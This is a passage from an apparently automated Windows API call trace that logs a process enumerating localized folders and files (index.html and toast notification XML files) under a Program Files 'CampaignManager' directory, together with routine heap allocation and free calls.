lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.057] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.057] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.057] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.057] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.057] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0238.058] GetProcessHeap () returned 0xc10000 [0238.058] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.059] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0238.059] GetProcessHeap () returned 0xc10000 [0238.059] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0238.062] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.062] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x923d, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.063] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.063] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.063] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.063] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.063] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0238.064] GetProcessHeap () returned 0xc10000 [0238.064] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.064] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0238.064] GetProcessHeap () returned 0xc10000 [0238.064] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0238.067] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.067] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9093, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.067] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x14d9d700, ftLastWriteTime.dwHighDateTime=0x1d29cb5, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.067] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.067] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.067] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.067] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0238.068] GetProcessHeap () returned 0xc10000 [0238.068] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.069] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0238.069] GetProcessHeap () returned 0xc10000 [0238.069] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0238.071] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.071] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.072] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.072] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.072] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.072] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.072] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0238.226] GetProcessHeap () returned 0xc10000 [0238.226] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.226] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0238.226] GetProcessHeap () returned 0xc10000 [0238.226] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0238.228] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.228] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.229] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.229] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.229] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.229] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.229] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0238.230] GetProcessHeap () returned 0xc10000 [0238.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.230] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0238.230] GetProcessHeap () returned 0xc10000 [0238.230] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0238.233] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.233] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.233] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, 